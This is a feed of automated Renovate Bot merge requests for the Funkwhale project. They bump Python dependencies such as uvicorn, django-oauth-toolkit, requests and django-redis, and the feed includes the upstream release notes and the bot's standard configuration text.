funkwhale merge requestshttps://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests2022-02-01T05:37:42Zhttps://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1534Update dependency uvicorn to v0.17.1 (develop)2022-02-01T05:37:42ZRenovateBotUpdate dependency uvicorn to v0.17.1 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [uvicorn](https://www.uvicorn.org/) ([source](https://github.com/sponsors/encode), [changelog](https://github.com/encode/uvicorn/blob/maste...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [uvicorn](https://www.uvicorn.org/) ([source](https://github.com/sponsors/encode), [changelog](https://github.com/encode/uvicorn/blob/master/CHANGELOG.md)) | dependencies | minor | `==0.14.0` -> `==0.17.1` |
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1520Update dependency django-oauth-toolkit to v1.7.0 (develop)2022-02-01T05:36:56ZRenovateBotUpdate dependency django-oauth-toolkit to v1.7.0 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-oauth-toolkit](https://github.com/jazzband/django-oauth-toolkit) | dependencies | minor | `==1.5.0` -> `==1.7.0` |
---
### Releas...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-oauth-toolkit](https://github.com/jazzband/django-oauth-toolkit) | dependencies | minor | `==1.5.0` -> `==1.7.0` |
---
### Release Notes
<details>
<summary>jazzband/django-oauth-toolkit</summary>
### [`v1.7.0`](https://github.com/jazzband/django-oauth-toolkit/blob/HEAD/CHANGELOG.md#​170-2022-01-23)
[Compare Source](https://github.com/jazzband/django-oauth-toolkit/compare/1.6.3...1.7.0)
##### Added
- [#​969](https://github.com/jazzband/django-oauth-toolkit/issues/969) Add batching of expired token deletions in `cleartokens` management command and `models.clear_expired()`
to improve performance for removal of large numers of expired tokens. Configure with
[`CLEAR_EXPIRED_TOKENS_BATCH_SIZE`](https://django-oauth-toolkit.readthedocs.io/en/latest/settings.html#clear-expired-tokens-batch-size) and
[`CLEAR_EXPIRED_TOKENS_BATCH_INTERVAL`](https://django-oauth-toolkit.readthedocs.io/en/latest/settings.html#clear-expired-tokens-batch-interval).
- [#​1070](https://github.com/jazzband/django-oauth-toolkit/issues/1070) Add a Celery task for clearing expired tokens, e.g. to be scheduled as a [periodic task](https://docs.celeryproject.org/en/stable/userguide/periodic-tasks.html).
- [#​1062](https://github.com/jazzband/django-oauth-toolkit/issues/1062) Add Brazilian Portuguese (pt-BR) translations.
- [#​1069](https://github.com/jazzband/django-oauth-toolkit/issues/1069) OIDC: Add an alternate form of
[get_additional_claims()](https://django-oauth-toolkit.readthedocs.io/en/latest/oidc.html#adding-claims-to-the-id-token)
which makes the list of additional `claims_supported` available at the OIDC auto-discovery endpoint (`.well-known/openid-configuration`).
##### Fixed
- [#​1012](https://github.com/jazzband/django-oauth-toolkit/issues/1012) Return 200 status code with `{"active": false}` when introspecting a nonexistent token
per [RFC 7662](https://datatracker.ietf.org/doc/html/rfc7662#section-2.2). It had been incorrectly returning 401.
### [`v1.6.3`](https://github.com/jazzband/django-oauth-toolkit/blob/HEAD/CHANGELOG.md#​163-2022-01-11)
[Compare Source](https://github.com/jazzband/django-oauth-toolkit/compare/1.6.2...1.6.3)
##### Fixed
- [#​1085](https://github.com/jazzband/django-oauth-toolkit/issues/1085) Fix for [#​1083](https://github.com/jazzband/django-oauth-toolkit/issues/1083) admin UI search for idtoken results in `django.core.exceptions.FieldError: Cannot resolve keyword 'token' into field.`
##### Added
- [#​1085](https://github.com/jazzband/django-oauth-toolkit/issues/1085) Add admin UI search fields for additional models.
### [`v1.6.2`](https://github.com/jazzband/django-oauth-toolkit/blob/HEAD/CHANGELOG.md#​162-2022-01-06)
[Compare Source](https://github.com/jazzband/django-oauth-toolkit/compare/1.6.1...1.6.2)
**NOTE: This release reverts an inadvertently-added breaking change.**
##### Fixed
- [#​1056](https://github.com/jazzband/django-oauth-toolkit/issues/1056) Add missing migration triggered by [Django 4.0 changes to the migrations autodetector](https://docs.djangoproject.com/en/4.0/releases/4.0/#migrations-autodetector-changes).
- [#​1068](https://github.com/jazzband/django-oauth-toolkit/issues/1068) Revert [#​967](https://github.com/jazzband/django-oauth-toolkit/issues/967) which incorrectly changed an API. See [#​1066](https://github.com/jazzband/django-oauth-toolkit/issues/1066).
### [`v1.6.1`](https://github.com/jazzband/django-oauth-toolkit/blob/HEAD/CHANGELOG.md#​161-2021-12-23)
[Compare Source](https://github.com/jazzband/django-oauth-toolkit/compare/1.6.0...1.6.1)
##### Changed
- Note: Only Django 4.0.1+ is supported due to a regression in Django 4.0.0. [Explanation](https://github.com/jazzband/django-oauth-toolkit/pull/1046#issuecomment-998015272)
##### Fixed
- Miscellaneous 1.6.0 packaging issues.
### [`v1.6.0`](https://github.com/jazzband/django-oauth-toolkit/blob/HEAD/CHANGELOG.md#​160-2021-12-19)
[Compare Source](https://github.com/jazzband/django-oauth-toolkit/compare/1.5.0...1.6.0)
##### Added
- [#​949](https://github.com/jazzband/django-oauth-toolkit/issues/949) Provide django.contrib.auth.authenticate() with a `request` for compatibiity with more backends (like django-axes).
- [#​968](https://github.com/jazzband/django-oauth-toolkit/issues/968), [#​1039](https://github.com/jazzband/django-oauth-toolkit/issues/1039) Add support for Django 3.2 and 4.0.
- [#​953](https://github.com/jazzband/django-oauth-toolkit/issues/953) Allow loopback redirect URIs using random ports as described in [RFC8252 section 7.3](https://datatracker.ietf.org/doc/html/rfc8252#section-7.3).
- [#​972](https://github.com/jazzband/django-oauth-toolkit/issues/972) Add Farsi/fa language support.
- [#​978](https://github.com/jazzband/django-oauth-toolkit/issues/978) OIDC: Add support for [rotating multiple RSA private keys](https://django-oauth-toolkit.readthedocs.io/en/latest/oidc.html#rotating-the-rsa-private-key).
- [#​978](https://github.com/jazzband/django-oauth-toolkit/issues/978) OIDC: Add new [OIDC_JWKS_MAX_AGE_SECONDS](https://django-oauth-toolkit.readthedocs.io/en/latest/settings.html#oidc-jwks-max-age-seconds) to improve `jwks_uri` caching.
- [#​967](https://github.com/jazzband/django-oauth-toolkit/issues/967) OIDC: Add [additional claims](https://django-oauth-toolkit.readthedocs.io/en/latest/oidc.html#adding-claims-to-the-id-token) beyond `sub` to the id_token.
- [#​1041](https://github.com/jazzband/django-oauth-toolkit/issues/1041) Add a search field to the Admin UI (e.g. for search for tokens by email address).
##### Changed
- [#​981](https://github.com/jazzband/django-oauth-toolkit/issues/981) Require redirect_uri if multiple URIs are registered per [RFC6749 section 3.1.2.3](https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2.3)
- [#​991](https://github.com/jazzband/django-oauth-toolkit/issues/991) Update documentation of [REFRESH_TOKEN_EXPIRE_SECONDS](https://django-oauth-toolkit.readthedocs.io/en/latest/settings.html#refresh-token-expire-seconds) to indicate it may be `int` or `datetime.timedelta`.
- [#​977](https://github.com/jazzband/django-oauth-toolkit/issues/977) Update [Tutorial](https://django-oauth-toolkit.readthedocs.io/en/stable/tutorial/tutorial\_01.html#) to show required `include`.
##### Removed
- [#​968](https://github.com/jazzband/django-oauth-toolkit/issues/968) Remove support for Django 3.0 & 3.1 and Python 3.6
- [#​1035](https://github.com/jazzband/django-oauth-toolkit/issues/1035) Removes default_app_config for Django Deprecation Warning
- [#​1023](https://github.com/jazzband/django-oauth-toolkit/issues/1023) six should be dropped
##### Fixed
- [#​963](https://github.com/jazzband/django-oauth-toolkit/issues/963) Fix handling invalid hex values in client query strings with a 400 error rather than 500.
- [#​973](https://github.com/jazzband/django-oauth-toolkit/issues/973) [Tutorial](https://django-oauth-toolkit.readthedocs.io/en/latest/tutorial/tutorial\_01.html#start-your-app) updated to use `django-cors-headers`.
- [#​956](https://github.com/jazzband/django-oauth-toolkit/issues/956) OIDC: Update documentation of [get_userinfo_claims](https://django-oauth-toolkit.readthedocs.io/en/latest/oidc.html#adding-information-to-the-userinfo-service) to add the missing argument.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1529Update dependency pytest-randomly to v3.11.0 (develop)2022-02-01T05:37:30ZRenovateBotUpdate dependency pytest-randomly to v3.11.0 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [pytest-randomly](https://github.com/pytest-dev/pytest-randomly) ([changelog](https://github.com/pytest-dev/pytest-randomly/blob/main/HISTO...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [pytest-randomly](https://github.com/pytest-dev/pytest-randomly) ([changelog](https://github.com/pytest-dev/pytest-randomly/blob/main/HISTORY.rst)) | dev-dependencies | minor | `==3.10.3` -> `==3.11.0` |
---
### Release Notes
<details>
<summary>pytest-dev/pytest-randomly</summary>
### [`v3.11.0`](https://github.com/pytest-dev/pytest-randomly/blob/HEAD/HISTORY.rst#​3110-2022-01-10)
[Compare Source](https://github.com/pytest-dev/pytest-randomly/compare/3.10.3...3.11.0)
- Drop Python 3.6 support.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1532Update dependency requests to v2.27.1 (develop)2022-02-01T05:37:36ZRenovateBotUpdate dependency requests to v2.27.1 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [requests](https://requests.readthedocs.io) ([source](https://github.com/psf/requests), [changelog](https://github.com/psf/requests/blob/ma...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [requests](https://requests.readthedocs.io) ([source](https://github.com/psf/requests), [changelog](https://github.com/psf/requests/blob/master/HISTORY.md)) | dependencies | minor | `==2.26.0` -> `==2.27.1` |
---
### Release Notes
<details>
<summary>psf/requests</summary>
### [`v2.27.1`](https://github.com/psf/requests/blob/HEAD/HISTORY.md#​2271-2022-01-05)
[Compare Source](https://github.com/psf/requests/compare/v2.27.0...v2.27.1)
**Bugfixes**
- Fixed parsing issue that resulted in the `auth` component being
dropped from proxy URLs. ([#​6028](https://github.com/psf/requests/issues/6028))
### [`v2.27.0`](https://github.com/psf/requests/blob/HEAD/HISTORY.md#​2270-2022-01-03)
[Compare Source](https://github.com/psf/requests/compare/v2.26.0...v2.27.0)
**Improvements**
- Officially added support for Python 3.10. ([#​5928](https://github.com/psf/requests/issues/5928))
- Added a `requests.exceptions.JSONDecodeError` to unify JSON exceptions between
Python 2 and 3. This gets raised in the `response.json()` method, and is
backwards compatible as it inherits from previously thrown exceptions.
Can be caught from `requests.exceptions.RequestException` as well. ([#​5856](https://github.com/psf/requests/issues/5856))
- Improved error text for misnamed `InvalidSchema` and `MissingSchema`
exceptions. This is a temporary fix until exceptions can be renamed
(Schema->Scheme). ([#​6017](https://github.com/psf/requests/issues/6017))
- Improved proxy parsing for proxy URLs missing a scheme. This will address
recent changes to `urlparse` in Python 3.9+. ([#​5917](https://github.com/psf/requests/issues/5917))
**Bugfixes**
- Fixed defect in `extract_zipped_paths` which could result in an infinite loop
for some paths. ([#​5851](https://github.com/psf/requests/issues/5851))
- Fixed handling for `AttributeError` when calculating length of files obtained
by `Tarfile.extractfile()`. ([#​5239](https://github.com/psf/requests/issues/5239))
- Fixed urllib3 exception leak, wrapping `urllib3.exceptions.InvalidHeader` with
`requests.exceptions.InvalidHeader`. ([#​5914](https://github.com/psf/requests/issues/5914))
- Fixed bug where two Host headers were sent for chunked requests. ([#​5391](https://github.com/psf/requests/issues/5391))
- Fixed regression in Requests 2.26.0 where `Proxy-Authorization` was
incorrectly stripped from all requests sent with `Session.send`. ([#​5924](https://github.com/psf/requests/issues/5924))
- Fixed performance regression in 2.26.0 for hosts with a large number of
proxies available in the environment. ([#​5924](https://github.com/psf/requests/issues/5924))
- Fixed idna exception leak, wrapping `UnicodeError` with
`requests.exceptions.InvalidURL` for URLs with a leading dot (.) in the
domain. ([#​5414](https://github.com/psf/requests/issues/5414))
**Deprecations**
- Requests support for Python 2.7 and 3.6 will be ending in 2022. While we
don't have exact dates, Requests 2.27.x is likely to be the last release
series providing support.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1522Update dependency django-storages to v1.12.3 (develop)2022-02-01T05:37:06ZRenovateBotUpdate dependency django-storages to v1.12.3 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-storages](https://github.com/jschneier/django-storages) ([changelog](https://github.com/jschneier/django-storages/blob/master/CHANG...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-storages](https://github.com/jschneier/django-storages) ([changelog](https://github.com/jschneier/django-storages/blob/master/CHANGELOG.rst)) | dependencies | minor | `==1.11.1` -> `==1.12.3` |
---
### Release Notes
<details>
<summary>jschneier/django-storages</summary>
### [`v1.12.3`](https://github.com/jschneier/django-storages/compare/1.12.2...1.12.3)
[Compare Source](https://github.com/jschneier/django-storages/compare/1.12.2...1.12.3)
### [`v1.12.2`](https://github.com/jschneier/django-storages/compare/1.12.1...1.12.2)
[Compare Source](https://github.com/jschneier/django-storages/compare/1.12.1...1.12.2)
### [`v1.12.1`](https://github.com/jschneier/django-storages/compare/1.12...1.12.1)
[Compare Source](https://github.com/jschneier/django-storages/compare/1.12...1.12.1)
### [`v1.12`](https://github.com/jschneier/django-storages/compare/1.11.1...1.12)
[Compare Source](https://github.com/jschneier/django-storages/compare/1.11.1...1.12)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1516Update dependency django-allauth to v0.47.0 (develop)2022-02-01T05:36:47ZRenovateBotUpdate dependency django-allauth to v0.47.0 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-allauth](https://github.com/pennersr/django-allauth) | dependencies | minor | `==0.42.0` -> `==0.47.0` |
---
### Release Notes
<...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-allauth](https://github.com/pennersr/django-allauth) | dependencies | minor | `==0.42.0` -> `==0.47.0` |
---
### Release Notes
<details>
<summary>pennersr/django-allauth</summary>
### [`v0.47.0`](https://github.com/pennersr/django-allauth/compare/0.46.0...0.47.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.46.0...0.47.0)
### [`v0.46.0`](https://github.com/pennersr/django-allauth/compare/0.45.0...0.46.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.45.0...0.46.0)
### [`v0.45.0`](https://github.com/pennersr/django-allauth/compare/0.44.0...0.45.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.44.0...0.45.0)
### [`v0.44.0`](https://github.com/pennersr/django-allauth/compare/0.43.0...0.44.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.43.0...0.44.0)
### [`v0.43.0`](https://github.com/pennersr/django-allauth/compare/0.42.0...0.43.0)
[Compare Source](https://github.com/pennersr/django-allauth/compare/0.42.0...0.43.0)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1524Update dependency ipython to v7.31.1 (develop)2022-02-01T05:37:14ZRenovateBotUpdate dependency ipython to v7.31.1 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [ipython](https://ipython.org) ([source](https://github.com/ipython/ipython)) | dependencies | minor | `==7.27.0` -> `==7.31.1` |
---
###...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [ipython](https://ipython.org) ([source](https://github.com/ipython/ipython)) | dependencies | minor | `==7.27.0` -> `==7.31.1` |
---
### Release Notes
<details>
<summary>ipython/ipython</summary>
### [`v7.31.1`](https://github.com/ipython/ipython/compare/7.31.0...7.31.1)
[Compare Source](https://github.com/ipython/ipython/compare/7.31.0...7.31.1)
### [`v7.31.0`](https://github.com/ipython/ipython/compare/7.30.1...7.31.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.30.1...7.31.0)
### [`v7.30.1`](https://github.com/ipython/ipython/compare/7.30.0...7.30.1)
[Compare Source](https://github.com/ipython/ipython/compare/7.30.0...7.30.1)
### [`v7.30.0`](https://github.com/ipython/ipython/compare/7.29.0...7.30.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.29.0...7.30.0)
### [`v7.29.0`](https://github.com/ipython/ipython/compare/7.28.0...7.29.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.28.0...7.29.0)
### [`v7.28.0`](https://github.com/ipython/ipython/compare/7.27.0...7.28.0)
[Compare Source](https://github.com/ipython/ipython/compare/7.27.0...7.28.0)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1530Update dependency python-ldap to v3.4.0 (develop)2022-02-01T05:37:32ZRenovateBotUpdate dependency python-ldap to v3.4.0 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [python-ldap](https://www.python-ldap.org/) | dependencies | minor | `==3.3.1` -> `==3.4.0` |
---
### Configuration
📅 **Schedule**: At a...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [python-ldap](https://www.python-ldap.org/) | dependencies | minor | `==3.3.1` -> `==3.4.0` |
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1525Update dependency kombu to v5.2.3 (develop)2022-02-01T05:37:20ZRenovateBotUpdate dependency kombu to v5.2.3 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [kombu](https://kombu.readthedocs.io) | dependencies | minor | `==5.1.0` -> `==5.2.3` |
---
### Configuration
📅 **Schedule**: At any tim...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [kombu](https://kombu.readthedocs.io) | dependencies | minor | `==5.1.0` -> `==5.2.3` |
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1517Update dependency django-channels to v1.2.2 (develop)2022-02-01T05:36:49ZRenovateBotUpdate dependency django-channels to v1.2.2 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-channels](https://github.com/channels-frontend/django-channels) | dependencies | minor | [`1.1.6` -> `1.2.2`](https://renovatebot.c...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-channels](https://github.com/channels-frontend/django-channels) | dependencies | minor | [`1.1.6` -> `1.2.2`](https://renovatebot.com/diffs/npm/django-channels/1.1.6/1.2.2) |
---
### Release Notes
<details>
<summary>channels-frontend/django-channels</summary>
### [`v1.2.2`](https://github.com/channels-frontend/django-channels/compare/v1.2.1...v1.2.2)
[Compare Source](https://github.com/channels-frontend/django-channels/compare/v1.2.1...v1.2.2)
### [`v1.2.1`](https://github.com/channels-frontend/django-channels/compare/7d221ce84fef3304ae14a491f664055ce8b26ab9...v1.2.1)
[Compare Source](https://github.com/channels-frontend/django-channels/compare/7d221ce84fef3304ae14a491f664055ce8b26ab9...v1.2.1)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1518Update dependency django-cors-headers to v3.11.0 (develop)2022-02-01T05:36:52ZRenovateBotUpdate dependency django-cors-headers to v3.11.0 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-cors-headers](https://github.com/adamchainz/django-cors-headers) ([changelog](https://github.com/adamchainz/django-cors-headers/blo...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-cors-headers](https://github.com/adamchainz/django-cors-headers) ([changelog](https://github.com/adamchainz/django-cors-headers/blob/main/HISTORY.rst)) | dependencies | minor | `==3.8.0` -> `==3.11.0` |
---
### Release Notes
<details>
<summary>adamchainz/django-cors-headers</summary>
### [`v3.11.0`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​3110-2022-01-10)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.10.1...3.11.0)
- Drop Python 3.6 support.
### [`v3.10.1`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​3101-2021-12-05)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.10.0...3.10.1)
- Prevent a crash when an invalid `Origin` header is sent.
Thanks to minusf for the report in `Issue #​701 <https://github.com/adamchainz/django-cors-headers/issues/701>`\__.
### [`v3.10.0`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​3100-2021-10-05)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.9.0...3.10.0)
- Support Python 3.10.
### [`v3.9.0`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​390-2021-09-28)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.8.0...3.9.0)
- Support Django 4.0.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1521Update dependency django-redis to v5.2.0 (develop)2022-02-01T05:36:59ZRenovateBotUpdate dependency django-redis to v5.2.0 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-redis](https://github.com/jazzband/django-redis) | dependencies | minor | `==5.0.0` -> `==5.2.0` |
---
### Release Notes
<detail...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-redis](https://github.com/jazzband/django-redis) | dependencies | minor | `==5.0.0` -> `==5.2.0` |
---
### Release Notes
<details>
<summary>jazzband/django-redis</summary>
### [`v5.2.0`](https://github.com/jazzband/django-redis/blob/HEAD/CHANGELOG.rst#django-redis-520-2021-12-22)
[Compare Source](https://github.com/jazzband/django-redis/compare/5.1.0...5.2.0)
\===============================
## Bug Fixes
- Block use with broken redis-py 4.0.0 and 4.0.1 (`#​542 <https://github.com/jazzband/django-redis/issues/542>`\_)
## Miscellaneous
- Unblock redis-py >=4.0.2 (`#​576 <https://github.com/jazzband/django-redis/issues/576>`\_)
- Add support for django 4 (`#​579 <https://github.com/jazzband/django-redis/issues/579>`\_)
### [`v5.1.0`](https://github.com/jazzband/django-redis/blob/HEAD/CHANGELOG.rst#DjangoRedis-510-2021-11-29)
[Compare Source](https://github.com/jazzband/django-redis/compare/5.0.0...5.1.0)
\===============================
## Features
- Add Python 3.10 to CI (`#​536 <https://github.com/jazzband/django-redis/issues/536>`\_)
- Configured `towncrier` to generate the changelog. (`#​548 <https://github.com/jazzband/django-redis/issues/548>`\_)
- Added `django_redis.compressors.zstd.ZStdCompressor` to provide `pyzstd` cache value compression. (`#​551 <https://github.com/jazzband/django-redis/issues/551>`\_)
- Change pickle default version to Python default instead of highest version. (`#​555 <https://github.com/jazzband/django-redis/issues/555>`\_)
- Add `hiredis` extra dependency to request `redis[hiredis]`. (`#​556 <https://github.com/jazzband/django-redis/issues/556>`\_)
- Add pexpireat to allow setting 'expire at' with millisecond precision. (`#​564 <https://github.com/jazzband/django-redis/issues/564>`\_)
## Bug Fixes
- Make expire, pexpire, expireat and persist return the redis client value (`#​564 <https://github.com/jazzband/django-redis/issues/564>`\_)
## Miscellaneous
- Convert most unittest class tests to pytest tests. (`#​553 <https://github.com/jazzband/django-redis/issues/553>`\_)
- Update type comments to type annotations. (`#​568 <https://github.com/jazzband/django-redis/issues/568>`\_)
- Pin redis-py to 3.x until 4.x breaking changes can be addressed. (`#​570 <https://github.com/jazzband/django-redis/issues/570>`\_)
## Documentation
- Clarify redis primary name in sentinel documentation. (`#​529 <https://github.com/jazzband/django-redis/issues/529>`\_)
- Add documentation on configuring self signed SSL certificates. (`#​559 <https://github.com/jazzband/django-redis/issues/559>`\_)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1538Update dependency arrow to v1.2.2 (develop)2022-02-01T10:06:40ZRenovateBotUpdate dependency arrow to v1.2.2 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [arrow](https://arrow.readthedocs.io) ([source](https://github.com/arrow-py/arrow)) | dependencies | minor | `==1.1.1` -> `==1.2.2` |
---
...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [arrow](https://arrow.readthedocs.io) ([source](https://github.com/arrow-py/arrow)) | dependencies | minor | `==1.1.1` -> `==1.2.2` |
---
### Release Notes
<details>
<summary>arrow-py/arrow</summary>
### [`v1.2.2`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​122-2022-01-19)
[Compare Source](https://github.com/arrow-py/arrow/compare/1.2.1...1.2.2)
- \[NEW] Added Kazakh locale.
- \[FIX] The Belarusian, Bulgarian, Czech, Macedonian, Polish, Russian, Slovak and Ukrainian locales now support `dehumanize`.
- \[FIX] Minor bug fixes and improvements to ChineseCN, Indonesian, Norwegian, and Russian locales.
- \[FIX] Expanded testing for multiple locales.
- \[INTERNAL] Started using `xelatex` for pdf generation in documentation.
- \[INTERNAL] Split requirements file into `requirements.txt`, `requirements-docs.txt` and `requirements-tests.txt`.
- \[INTERNAL] Added `flake8-annotations` package for type linting in `pre-commit`.
### [`v1.2.1`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​121-2021-10-24)
